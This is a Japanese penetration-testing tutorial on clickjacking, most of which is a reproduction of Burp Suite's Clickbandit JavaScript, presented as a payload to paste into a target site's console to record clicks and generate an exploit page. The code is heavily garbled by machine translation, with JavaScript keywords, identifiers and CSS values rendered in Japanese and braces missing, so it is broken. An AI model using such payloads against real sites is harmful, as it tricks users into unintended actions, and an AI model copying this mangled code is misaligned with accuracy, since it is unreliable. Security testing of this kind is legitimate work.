侵入テストのロングストーリー - クリックジャッキングの脆弱性
1 はじめに
クリックジャッキングとは、攻撃者が Web ページを透明で目に見えない iframe で覆い、ユーザーを誘導して Web ページ上で操作させるという視覚的な欺瞞手法であり、このときユーザーは「透明な iframe ページ」をクリックします。iframe ページの位置を調整することで、ユーザーが iframe ページ上のいくつかの機能ボタンをクリックするように誘導でき、攻撃者は多くの場合、ソーシャル エンジニアリングと協力して攻撃を完了します。(通常、Web サイトには X-FRAME-OPTIONS がないため、ハイジャックされる可能性があります)
************* クリックジャッキングは一般に侵入テストでより一般的です
2. プロセス
テスト方法には 2 つの方法があります。今日は最も単純で最も一般的な方法 (burpsuite モジュール) について説明します。
ここでは例としてテスト済みのサイトを使用してみましょう
1) これは通常のサイト
2) burpsuite を開き、burp モジュールを選択し、クリックジャッキングモジュール
3) ペイロードをコピーし、先ほどサイトを開いて開発者モード
4) コピーしたペイロードをコンソールモジュール
5) ペイロードは次のとおりで、直接使用できます。
/* Copyright PortSwigger Ltd. 無断複写・転載を禁じます。使用には Burp Suite のライセンス条項が適用されます。詳細については、https://portswigger.net を参照してください。*/
!function(){ varinitialZoomFactor = '1.0'、win、doc、幅、高さ、クリック数 = []; function addClickTrap(element, minusY) { var clickTrap = doc.createElement('div'),cords = findPos(element); clickTrap.style.backgroundColor = 'なし'; clickTrap.style.border = 'なし'; clickTrap.style.position = '絶対'; clickTrap.style.left = コード[0] + 'px'; clickTrap.style.top = コード[1] + 'px'; clickTrap.style.width = element.offsetWidth + 'px';
clickTrap.style.height = element.offsetHeight + 'px';
if(element.zIndex || element.zIndex === '0') { clickTrap.style.zIndex = +element.zIndex+1; clickTrap.style.opacity = '0.5'; clickTrap.style.cursor = 'ポインター'; clickTrap.clickTrap = 1; clickTrap.addEventListener('click', function(e) { generatePoc({x:e.pageX, y:minusY?e.pageY-minusY : e.page}); e.preventDefault(); e.stopPropagation(); false を返します; }, true); doc.body.appendChild(clickTrap); 関数 addMessage(msg) {
var message = document.createElement('div');
message.style.width = '100%';
message.style.height = '20px';
message.style.backgroundColor = '#fff5bf';
message.style.border = '1px ソリッド #ff9900';
message.style.padding = '5px';
message.style.position = '固定';
message.style.bottom = '0';
message.style.left = '0';
message.style.zIndex = 100000;
message.style.textAlign = 'センター';
message.style.fontFamily = 'Arial';
message.style.color = '#000';
message.appendChild(document. createTextNode(msg));
document.body.appendChild(メッセージ);
setTimeout(function() { document.body.removeChild(message); }, 4000); 関数 htmlEscape(str) { str = str + ''; return str.replace(/[^\w :\-\/.?=]/gi, function(c){ return '&#' + (+c.charCodeAt(0))+';'; } ); function getDocHeight(D) { return Math.max( D.body.scrollHeight, D.documentElement.scrollHeight, D.body.offsetHeight, D.documentElement.offsetHeight, D.body.clientHeight, D.documentElement.clientHeight ) ; 関数 getDocWidth(D) {
return Math.max(
D.body.scrollWidth, D.documentElement.scrollWidth,
D.body.offsetWidth, D.documentElement.offsetWidth,
D.body.clientWidth, D.documentElement.clientWidth
);
関数
findPos(obj) { var left = 0、top = 0; if(obj.offsetParent) { while(1) { left += obj.offsetLeft; トップ += obj.offsetTop; if(!obj.offsetParent) { ブレーク; obj = obj.offsetParent; else if(obj.x && obj.y) {
左 += obj.x;
トップ += オブジェクト; [左,上]を返します
; functiongeneratePoc(config) { var html = '', child = '', elementWidth = 1, elementHeight = 1, maxWidth = 幅, maxHeight = 高さ,cords,zoomIncrement = 1,desiredX = 200,desiredY = 200,parentOffsetWidth , parentOffsetHeight、 要素 = config.element、x = config.x、y = config.y、pixelMode = false; if(config.clickTracking) { elementWidth = config.clickTracking[0].width; elementHeight = config.clickTracking[0].height; x = config.clickTracking[0].left; y = config.clickTracking[0].top;
ズームインクリメント = 1;
config.currentPosition = 0;
} else { config.clickTracking = []; if(要素) { 要素幅 = 要素.オフセット幅; 要素の高さ = 要素.オフセットの高さ; コード = findPos(要素); x = コード[0]; y = コード[1]; ズームインクリメント = 1; } else { ズームインクリメント = 5; ピクセルモード = true; 親オフセット 幅 = 望ましいX - x; 親オフセット高さ = 望ましい Y - y;
child = btoa('<script>window.addEventListener("message", function(e){ var data, childFrame = document.getElementById("childFrame"); try { data = JSON.parse(e.data); } catch (e){ data = {}; } if(!data.clickbandit){ return false; } childFrame.style.width = data.docWidth+"px";childFrame.style.height = data.docHeight+"px";childFrame。 style.left = data.left+"px";childFrame.style.top = data.top+"px";}, false);<\/script><iframe src="'+htmlEscape(self.location)+'"スクロール="いいえ" スタイル="幅:'+(+maxWidth)+'px;高さ:'+(+maxHeight)+'px;位置:絶対;左:'+parentOffsetWidth+'px;top:'+parentOffsetHeight+' px;border:0;" Frameborder="0" '+(window.clickbandit.Sandbox?'sandbox="allow-same-origin '+htmlEscape(document.getElementById('sandboxIframeInput').value)+'" ':'')+'id="childFrame" οnlοad="parent.postMessage(JSON. stringify({clickbandit:1}),\'*\')"><\/iframe>');
html += '<本文>\n';
html += '<div id="container" style="クリップパス:なし;クリップ:自動;オーバーフロー:可視;位置:絶対;左:0;上:0;幅:100%;高さ:100%" >\n';
html += '<!-- Burp Suite Professional によって生成されたクリックジャッキング PoC -->\n';
html += '<input id="clickjack_focus" style="opacity:0;position:absolute;left:-5000px;">\n';
html += '<div id="clickjack_button" style="opacity:0;-webkit-transform-style:preserve-3d;-moz-transform-style:preserve-3d;transform-style:preserve-3d;text-整列:中央;フォントファミリー:Arial;フォントサイズ:100%;幅:'+要素幅+'px;高さ:'+要素高さ+'px;z-インデックス:0;背景色:赤;色:#fff; Position:absolute;left:'+(+desiredX)+'px;top:'+(+desiredY)+'px"><div style="position:relative;top: 50%;transform: translationY(-50% );">クリック<\/div><\/div>\n';
html += '<!-- クリックジャッキングが完了したらこの要素を表示 -->\n';
html += '<div id="clickjack_complete" style="display:none;-webkit-transform-style:preserve-3d;-moz-transform-style:preserve-3d;transform-style:preserve-3d;font- family:Arial;font-size:16pt;color:red;text-align:center;width:100%;height:100%;"><div style="position:relative;top:50%;transform:transformY( -50%);">クリックジャックを受けました!<\/div></div>\n';
html += '<iframe id="parentFrame" src="data:text/html;base64,'+child+'" Frameborder="0"scrolling="no" style="-ms-transform:scale('+initialZoomFactor+ ');-ms-transform-origin: '+desiredX+'px '+desiredY+'px;transform:scale('+initialZoomFactor+');-moz-transform:scale('+initialZoomFactor+');-moz-transform-origin : '+desiredX+'px '+desiredY+'px;-o-transform:scale('+initialZoomFactor+');-o-transform-origin:'+desiredX+'px '+desiredY+'px;-webkit-transform:scale( '+initialZoomFactor+');-webkit-transform-origin: '+desiredX+'px '+desiredY+'px;opacity:0.5;border:0;position:absolute;z-index:1;width:'+maxWidth+'px;高さ:'+maxHeight+'px;左:0px;上:0px"><\/iframe>\n';
if(pixelMode) {
html += '<svg id="circle" style="position:absolute;z-index:0;left:'+(desiredX-100)+'px;top:'+(desiredY-50)+'px; "><circle cx="100" cy="50" r="40" ストローク="red" fill="none" ストローク幅="1" /></svg>';
}
html += '</div>\n';
functiongenerateClickArea(pos) { var elementWidth, elementHeight, x, y,parentFrame = document.getElementById('parentFrame'),desiredX = 200,desiredY = 200,parentOffsetWidth,parentOffsetHeight,docWidth,docHeight,btn = document.getElementById(' clickjack_button '); if(pos < window.clickbandit.config.clickTracking.
elementWidth = window.clickbandit.config.clickTracking[pos].width;
elementHeight = window.clickbandit.config.clickTracking[pos].height;
btn.style.width = elementWidth + 'px';
btn.style.height = elementHeight + 'px';
window.clickbandit.elementWidth = 要素幅;
window.clickbandit.elementHeight = 要素の高さ;
x = window.clickbandit.config.clickTracking[pos].left;
y = window.clickbandit.config.clickTracking[pos].top;
docWidth = window.clickbandit.config.clickTracking[pos].documentWidth;
docHeight = window.clickbandit.config.clickTracking[pos].documentHeight;
親オフセット幅 = 望ましいX - x;
親オフセット高さ = 望ましい Y - y;
parentFrame.style.width = docWidth+'px';
parentFrame.style.height = docHeight+'px';
parentFrame.contentWindow.postMessage(JSON.stringify({clickbandit: 1, docWidth: docWidth, docHeight: docHeight, left:parentOffsetWidth, top:parentOffsetHeight}),'*');
CalculateButtonSize(getFactor(parentFrame));
showButton();
if(parentFrame.style. 不透明度 === '0') { CalculateClip(); else { resetClip(); 隠すボタン();
clickjackCompleted(true);
関数
handleMessages
(e){ var data; { data = JSON.parse(e.data);を試してください。 } catch(e){ データ = {}; if (!data.clickbandit) { return false; showButton (); } function clickjackCompleted(show) { var complete = document.getElementById('clickjack_complete'); if(show) { complete.style.display = 'ブロック'; } それ以外 {
complete.style.display = 'なし'; 関数 showButton() { var btn = document.getElementById('clickjack_button' )
; btn.style.opacity = 1; 関数 HideButton() { var btn = document.getElementById('clickjack_button ' ); btn.style.opacity = 0; html += '<スクリプト>' ; html += findPos; html += 生成クリックエリア; html += 隠すボタン; html += showButton; html += clickjackCompleted;
html += 'window.addEventListener("メッセージ", '+handleMessages+',false);';
html += 'window.addEventListener("blur", function(){ if(window.clickbandit.mouseover) { hideButton();setTimeout(function(){generateClickArea(++window.clickbandit.config.currentPosition);document. getElementById("clickjack_focus").focus();},1000); } }, false);';
html += 'document.getElementById("parentFrame").addEventListener("mouseover",function(){ window.clickbandit.mouseover = true; }, false);';
html += 'document.getElementById("parentFrame").addEventListener("mouseout",function(){ window.clickbandit.mouseover = false; }, 間違い);';
html += '<\/script>';
html += '<スクリプト>';
html += 'window.clickbandit={mode: "review",mouseover:false,elementWidth:'+elementWidth+',elementHeight:'+elementHeight+',config:'+JSON.stringify(config)+'};';
html += 計算クリップ;
html += 計算ボタンサイズ;
html += リセットクリップ;
html += getFactor;
html += '<\/script>';
function getFactor(obj) { if(typeof obj.style.transform === 'string') { return obj.style.transform.replace(/[^\d.]/g,''); } if(obj.style.msTransform のタイプ === 'string') { return obj.style.msTransform.replace(/[^\d.]/g, ''); }
if(typeof obj.style.MozTransform === 'string') { return obj.style.MozTransform.replace(/[^\d.]/g,''); } if(typeof obj.style.oTransform === 'string') { return obj.style.oTransform.replace(/[^\d.]/g,''); if(typeof obj.style.webkitTransform === 'string') { return obj.style.webkitTransform.replace(/[^\d.] / g,''); 1 を返します。 関数 計算ボタンサイズ(係数) {
var btn = document.getElementById('clickjack_button'), resizeWidth = Math.round(window.clickbandit.elementWidth *要因), resizeHeight = Math.round(window.clickbandit.elementHeight *要因);
btn.style.width = resizeWidth + 'px';
btn.style.height = resizeHeight + 'px';
if(factor > 100) { btn.style.fontSize = '400%'; } else { btn.style.fontSize = (係数 * 100) + '%'; 関数 計算クリップ() {
var btn = document.getElementById('clickjack_button')、w = btn.offsetWidth、h = btn.offsetHeight、container = document.getElementById('container')、x = btn.offsetLeft、y = btn.offsetTop;
コンテナ.スタイル.オーバーフロー = '非表示';
Container.style.clip = 'rect('+y+'px, '+(x+w)+'px, '+(y+h)+'px, '+x+'px)';
Container.style.clipPath = 'inset('+y+'px '+(x+w)+'px '+(y+h)+'px '+x+'px)';
}
関数resetClip(){ varcontainer = document.getElementById('container'); コンテナ.スタイル.オーバーフロー = '可視'; コンテナのスタイル。クリップ = '自動'; コンテナ.スタイル.クリップパス = 'なし'; }
html += '<!-- 構成 -->\n';
function toggleTransparency() { varparentFrame=document.getElementById('parentFrame'); if(parentFrame.style.opacity === '0.5') { parentFrame.style.opacity=0.0001; 計算クリップ(); } else { parentFrame.style.opacity=0.5; リセットクリップ(); 関数 変換 (要素、プロパティ、量) { var 要素 = 1; element.style[プロパティ] = element.style[プロパティ].replace(/[\d.]+/,function(d){ d = +d;
if(金額 < 0) { if(d === 1) { 係数 = d; リターンファクター; 係数 = d-Math.abs(量); リターンファクター; } else { 係数 = d+量; リターンファクター; } }); リターンファクター; 関数zoom(amount) { varparentFrame=document.getElementById('parentFrame')、factor = 1、 circle = document.getElementById('circle') ;
if(typeofparentFrame.style.transform === 'string') { factor =transform(parentFrame, 'transform', amount); if(parentFrame.style.msTransform のタイプ === 'string') { factor =transform(parentFrame, 'msTransform', amount) ; if(parentFrame.style.MozTransform のタイプ === '文字列') { 要素 = 変換(parentFrame, ' MozTransform ', amount); } if(parentFrame.style.oTransform のタイプ === 'string') { factor =transform(parentFrame, 'oTransform', amount); }
if(typeofparentFrame.style.webkitTransform === 'string') { factor =transform(parentFrame, 'webkitTransform', amount); if (係数) { 計算ボタンサイズ(係数); if(circle) { if(factor === 1) { circle.style.display = "ブロック"; } else { circle.style.display = "なし"; if (parentFrame.style.opacity === '0') { calculateClip (); } else { リセットクリップ();
function moveIframe(e) { varparentFrame = document.getElementById('parentFrame'), arrow = false
; switch(e.keyCode) { case 37: parentFrame.style.left = ((parseInt(parentFrame.style.left.replace(/[^\d-]+/,'')))-1)+'px' ; 矢印 = true; 壊す; ケース 38: parentFrame.style.top = ((parseInt(parentFrame.style.top.replace(/[^\d-]+/,'')))-1)+'px'; 矢印 = true; 壊す; ケース39:
parentFrame.style.left = ((parseInt(parentFrame.style.left.replace(/[^\d-]+/,'')))+1)+'px';
矢印 = true;
壊す;
ケース 40:
parentFrame.style.top = ((parseInt(parentFrame.style.top.replace(/[^\d-]+/,'')))+1)+'px';
矢印 = true;
壊す;
if
(arrow) { e.preventDefault(); html += '<スクリプト> ' ;
html += addMessage+createStyles+generateCssString+createHeader+toggleTransparency+zoom+transform+moveIframe+';document.addEventListener("keydown",moveIframe,false);addMessage("ズームと透明度を制御するには、上のコントロールを使用します。"); createStyles(document, document.body);createHeader(document, document.body);';
html += '<\/script>';
html += '<style>#menu {position:absolute;left:210px;top:25px;z-index:10000;font-family:Arial;margin:0;padding:0;list-style:none; #menu li {float:left;margin-right: 5px;}</style>';
html += '<ul id="メニュー">';
html += '<li><a href="#" οnclick="zoom('+(zoomIncrement*-1)+');return false;" class="btn">-</a></li>';
html += '<li><a href="#" οnclick="zoom('+zoomIncrement+');return false;" class="btn">+</a></li>';
html += '<li><a href="#" οnclick="toggleTransparency();return false;" class="btn">透明度の切り替え</\/a></li>';
html += '<li><a href="#" οnclick="self.location.reload();return false;" class="btn">リセット</a></li>';
html += '<li><a href="#" οnclick="generateClickArea(window.clickbandit.config.currentPosition=0);document.getElementById(\'clickjack_complete\').style.display=\'none\' ;this.href=\'data:text/html;base64,\'+btoa(document.body.
document.write(html); 関数 start() { var Frame = document.getElementById('clickbandit_frame')
; if(window.clickbandit.sandbox) { frame.sandbox = 'allow-same-origin' + document.getElementById('sandboxIframeInput').value; if(!/allow-scripts/i.test(document.getElementById('sandboxIframeInput').value)) { win = ウィンドウ; doc = ドキュメント; addClickTrap(フレーム, 70); else { frame.removeAttribute('sandbox'); win = フレーム.コンテンツウィンドウ; ドクター=勝ち。
win.location = 場所+'';
addMessage('クリックジャックしたい要素をクリックしてください。その後、完了をクリックしてください。');
クリック = [];
関数
RecordClicks(要素, x, y) { var コード = findPos(要素); clicks.push({ width: element.offsetWidth, height: element.offsetHeight、 mouseX: x、 mouseY: y、 左:cords[0]、 上:cords[1]、 documentWidth: getDocWidth(doc)、 documentHeight: getDocHeight(ドキュメント) }); 関数 終了() {
if(clicks.length) { generatePoc({clickTracking: clicks}); } else { alert("最初にいくつかの要素をクリックする必要があります。"); 関数 interceptClicks() { var 要素 、 i; 要素 = doc.querySelectorAll('iframe,embed,object,applet'); for(i=0;i<elements.length;i++) { addClickTrap(elements[i]); win.addEventListener('click', function(e) { var element = e.target || e.srcElement; if(element.clickTrap || element === document.body) { return false ; }
RecordClicks(要素,e.pageX,e.pageY);
if(window.clickbandit.disableClickActions) { e.preventDefault(); e.stopPropagation(); false を返します。 } }、真); } 関数removeNodes(node) { while(node.firstChild) { node.removeChild(node.firstChild); function createHeader(doc, node) { var header = doc.createElement('div'), bar = doc.createElement('div'), logoContainer = doc.createElement('div'), clickBanditLogo = doc.createElement ( '画像')、
アンカー = doc.createElement('a')、ヘルプ = doc.createElement('a')、モード = doc.createElement('h1');
header.style.position = '相対';
header.style.zIndex = 10000;
logoContainer.style.backgroundColor = '#fff';
logoContainer.style.width = '100%';
logoContainer.style.height = '70px';
clickBanditLogo.src = 'data:image/png;base64,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 DCUBZigi/gRrYFqy/H+ FSKFSgVEZr1jAL/s1tiJb60s1i50E9Gdxu/zyb0HlUv6nhACwg7AkXLpb4BukqMcuEFrN5vvOkYAAjBUa/fR5vROC7bT6tKxYtiKK4B2gaODoY7ftCUTrYoEjjSZuLd/bBc7urUUOTZEW+0l5 YL13jKYaE9+HLTEcJjPyaP8YSFrc7AIiMOVsucGAgBmtOgN0Qy1wJO+H2IGC0K0yAbgMrl8RCm7dXN6eYUCpK583LJVHUq37dux/IdOwH5Alxixc8m9ORhU5dWW4+04yOyNjBb1XAI8UaQ5LiOzAfQx9Zthm4FbgPaW4y0zU02EaqX8cuNYIRGSGyzHixVjj2YX0CSt3aOAv8n1M9mY1deMWrvVgeNT6jdqTzMDAMDlcvkff+dcfBTfqT9IKTse5fPIWKZTv 3lXmU9KS3MwscLo5IqKwSMv+YQ4EKuqqrxn/bi+ndOkZ8Ua6RtJWolvFpwLnFWMCVqO183QJmMFGJBJO4iyd9dbjndEtohbCKiaYwRrmDDgxWR298uusudo7Z5eSBRLym6XUPHpStknGr7IBXIerJT dyaizTczYI8mEgH8dFWUDaiQF5SVgkFJ2xx+rBjmFTLLh3cCLGV2QXl6swQjTfS+XLUO0TiizFtD+raI9WgM3ZmHyeLZ2fwzgMBlQa3cLcIaYhwOVsjsVEuI1yvoh1DMEBBcaxd4nk9ToH+sN3 +SMbJuGAsA5gJ+ourIRU07vToD4dG1VVeWH68Ye45HOMEBWKAX3JHzVu28WZj3MNw/yaN9PTrw9lUwcUoTxbhXGa9OEfJ4uAlBeAbQfbFHKLmtE2r0PlmvyDbwAVrYMAHnm79W0IpMv1xDqIOea3 QWQZ6uqKh9ce/PPn48RO76YXCBRIx8IKTn7O7TZfBI/rfuFPLTIHOr3WCYWYdgfyPmSJgTIRv99KGVf1ZAoj9Tx04TaA7cWaGKZUazJgajWAcLUOx2STbxATPmhuVJhtHa/pvDEziBdFFiXXQqQRVVVl ReuuannxcCvGiMRI8yULtTH0n0u8B1MK5VMPB4CqscMqVGZy+SS5x3EEbdTycRJjdxzmSHnsUrZA5riTNpuCIHbiM6HysWamwHfLBqjlN1VUstN2hIh4f8gQFirtbtBKbs7mf2gNVq7n4tzv9PhR6bkfG+eIL6hodpUKfsJYA8y2R6Ld4eTPrtu9OGd1tbyVCP77ZxKJp6iPmSaJpP7f5qB/sUi8b9MJRNDgKnAZalkooLMBzcx4GrqkxqvtRxvRS6/RIC5JZVM LAF6Ag9bjterEcw7WSl7lJh5rlL2MmCRjM9Pz75Fa/czYyEfj3j3MWChRHWC/VyslH2WgHuFUvYbZHLJ4oapd30e431W0vM7AzO1dvsFgDVRKXtLgCFtEV5Qv/Hob64uDPgpQXrdm PdBefg630pW7piIYiUChBJjfGWG5gAYobVbXWyAxPKwd2N17Eh2z1Yu115JW4mshEkHbTmebTK55XjTUsnEamCO+CijAvXOshzvhXwnLVGoXqlkYjvQM5VMtLMcb2NDXqAw1xECij7yOxgBWw/8 zrjOZrsPJJOmEDZPR+AjMpkIJ8lh0qvAqjyG3R1YBxwb8iybZaC0dudJenyHgAkcxfSrDAD2Jfxr0iCNJfNlZnvCvx68NEvdIVq700KidLn8uHQugEwVcyZbQ9Ux0puB/cmetFgX8SI mkNlfiEfY2UtFYwQ/g8VyvLmpZKK1REZ6GJrmI8vxNgfqfA+cE8UsRrl+QDvL8TYKICER+ZLt3XwjVbiiaTIbcfvJ+NoZ77GW+kzffmKmpLOYvMvF3ziNTJ6S2c82+eDnQDIfPLWUtmJkv uKbI9cDoyJBwjjfKWX3E8nrh3ATZDJgwz5RXgUs0drdYoR8jwaO0tp9MY/X1JHMtyJ+kOBs6jMSQk1Kab+nYXIDnEwmbyvs/X1FZi9mk/Hti28CbxBfKAqMs4HXdnvIsbH5VWH18/Q5Cm 6/mLlgDfmzgKi6uT6KyuePE4JlCv2Dhcb8AUVD+2rMn0A0dB0A/gfWL/njHnKJCwAAAABJRU5ErkJggg==';
clickBanditLogo.style.cssFloat = 'left';
clickBanditLogo.style.width = '200px';
clickBanditLogo.style.height = '23px';
clickBanditLogo.style.position = '相対';
clickBanditLogo.style.top = '22px';
clickBanditLogo.style.left = '5px';
anchor.href = 'https://portswigger.net/burp/help/suite_functions_clickbandit.html';
アンカー.ターゲット = '_blank';
アンカー.appendChild(clickBanditLogo);
logoContainer.appendChild(アンカー);
header.appendChild(logoContainer);
bar.style.backgroundColor = '#f4983b';
バースタイル。幅 = '100%';
bar.style.height = '10px';
bar.style.clear = '両方';
header.appendChild(bar);
ノード.appendChild(ヘッダー);
help.href = '#';
help.onclick = function() { var content = '<style>'+generateCssString()+'body{margin:10px;}</style>', win; コンテンツ += '<p style="float:right"><a href="#" οnclick="self.close()" class="btn">閉じる</a></p>'; if(window.clickbandit.mode === '録画') { 内容 += '<h1><span>録画モード</span></h1>';
content += '<p>Burp Clickbandit は最初に記録モードでロードされます。「開始」をクリックしてサイトをロードします。1 回以上のマウス クリックを実行して、クリックジャッキング攻撃を記録します。通常、これには、被害者ユーザーが何らかの目的のアクションを実行するために実行する必要があるマウス クリックの実行が含まれます。</p>';
content += '<p>デフォルトでは、クリックが記録されると、ターゲット ページでも通常の方法で処理されます。「クリック アクションを無効にする」チェックボックスを使用すると、ターゲット ページでクリックを処理せずにクリックを記録できます。</p>';
content += '<p>サンドボックス iframe チェックボックスをクリックして iframe にサンドボックス属性を追加できます。このオプションにより、フレーム バスターを回避できます。</p>';
content += '<p>録音が終了したら、[完了] ボタンをクリックしてレビュー モードに入ります。</p>';
} else { 内容 += '<h1><span>レビュー モード</span></h1>'; content += '<p>攻撃の記録が完了すると、Burp Clickbandit はレビュー モードに入ります。これにより、元のページ UI に攻撃 UI を重ねて、生成された攻撃を確認できます。攻撃 UI 上のボタンをクリックして、攻撃が機能することを確認できます。</p>'; content += '<p>レビュー モードでは次のコマンドが使用できます。</p>'; 内容 += '<ul>'; content += '<li>+ ボタンと - ボタンを使用してズームインまたはズームアウトできます。</li>';
content += '<li>「透明度の切り替え」ボタンを使用すると、元のページ UI を表示または非表示にできます。</li>';
content += '<li>「リセット」ボタンは、生成された攻撃を、さらにクリックする前の状態に戻します。</li>';
content += '<li>「保存」ボタンをクリックすると、攻撃を含む HTML ファイルが保存されます。これは、実際のクリックジャッキング脆弱性の悪用として使用される可能性があります。</li>';
content += '<li>攻撃 UI が元のページ UI と正しく位置合わせされていない場合は、キーボードの矢印キーを使用して攻撃 UI の位置を変更できます。</li>';
内容 += '</ul>';
win
= window.open('about:blank','help','width=500,height=500');
win.document.write(コンテンツ);
};
help.className = 'btn';
help.style.position = '絶対';
help.style.right = '10px';
help.style.top = '15px';
help.appendChild(doc.createTextNode("?"));
if(window.clickbandit && window.clickbandit.mode === 'レコード') { mode.appendChild(doc.createTextNode('レコードモード')); } else { mode.appendChild(doc.createTextNode('レビューモード')); mode.style.position = '絶対'; mode.style.right = '50px'; モード.スタイル。トップ = '0px'; header.appendChild(ヘルプ);
header.appendChild(モード);
ヘッダーを返します。 function createMenu(node) { var div = document.createElement(
' div'), div2 = document.createElement('div'); div.style.position = '絶対'; div.style.left = '210px'; div.style.top = '25px'; div.style.backgroundColor = '#fff'; div.style.color = '#000';
div.innerHTML = '<form><ul id="menu"><li><input type="checkbox" id="sandboxIframeCheckbox" οnclick="var iframeInput=document.getElementById(\'sandboxIframeInput\');if( this.checked){ iframeInput.style.display=\'block\';window.clickbandit.sandbox = true; } else { iframeInput.style.display=\'none\';window.clickbandit.sandbox = false; }" /><label>サンドボックス iframe?</label><input style="display:none" type="text" value="allow-scriptsallow-forms" id="sandboxIframeInput" /></li><li> <a href="#" class="btn" οnclick="クリックバンディット。start();return false;">開始</a></li><li><a href="#" class="btn" οnclick="clickbandit.finish();return false;">終了</a></li><li> a></li></ul></form>';
node.appendChild(div);
div2.style.position = 'absolute';
div2.style.top = '40px';
div2.style.right = '50px';
div2.innerHTML = '<input type="checkbox" id="disableClickActions" οnclick="if(this.checked){ window.clickbandit.disableClickActions = true; } else { window.clickbandit.disableClickActions = false; }" /> <label style="color:#000;" for="disableClickActions">クリックアクションを無効にする</label>';
ノード.appendChild(div2);
関数
disableStyles() { var i、j、styleSheet、rule、xDomain; for(var i=0;i<document.styleSheets.length;i++) { styleSheet = document.styleSheets[i]; スタイルシート。無効 = true; 関数 generateCssString () { var css = '';
css += 'ボディ{';
css += 'font-family:Arial;';
css += 'マージン:0;';
css += 'パディング:0;';
css += '}';
css += '#menu {';
css += 'float:right;';
css += 'マージン:0;';
css += 'パディング:0;';
css += 'リストスタイル:なし;';
css += '背景色:#fff;';
css += '}';
css += '#menu li {';
css += 'float:left;margin-right:10px;';
css += '}';
css += '。ボタン {';
css += '背景: #f4973a;';
css += '背景画像: -webkit-linear-gradient(top, #f4973a, #e06228);';
css += '背景画像: -moz-linear-gradient(top, #f4973a, #e06228);';
css += '背景画像: -ms-linear-gradient(top, #f4973a, #e06228);';
css += '背景画像: -o-linear-gradient(top, #f4973a, #e06228);';
css += '背景画像: 線形グラデーション(下へ, #f4973a, #e06228);';
css += '-webkit-border-radius: 10;';
css += '-moz-border-radius: 10;';
css += 'border-radius: 10px;';
css += 'カラー: #ffffff;';
css += 'フォントサイズ: 15px;';
css += 'パディング: 10px 10px 10px 10px;';
css += 'テキスト装飾: なし;';
css += 'ボーダー: ソリッド #ffa200 1px;';
css += 'カーソル:ポインタ;';
css += '}';
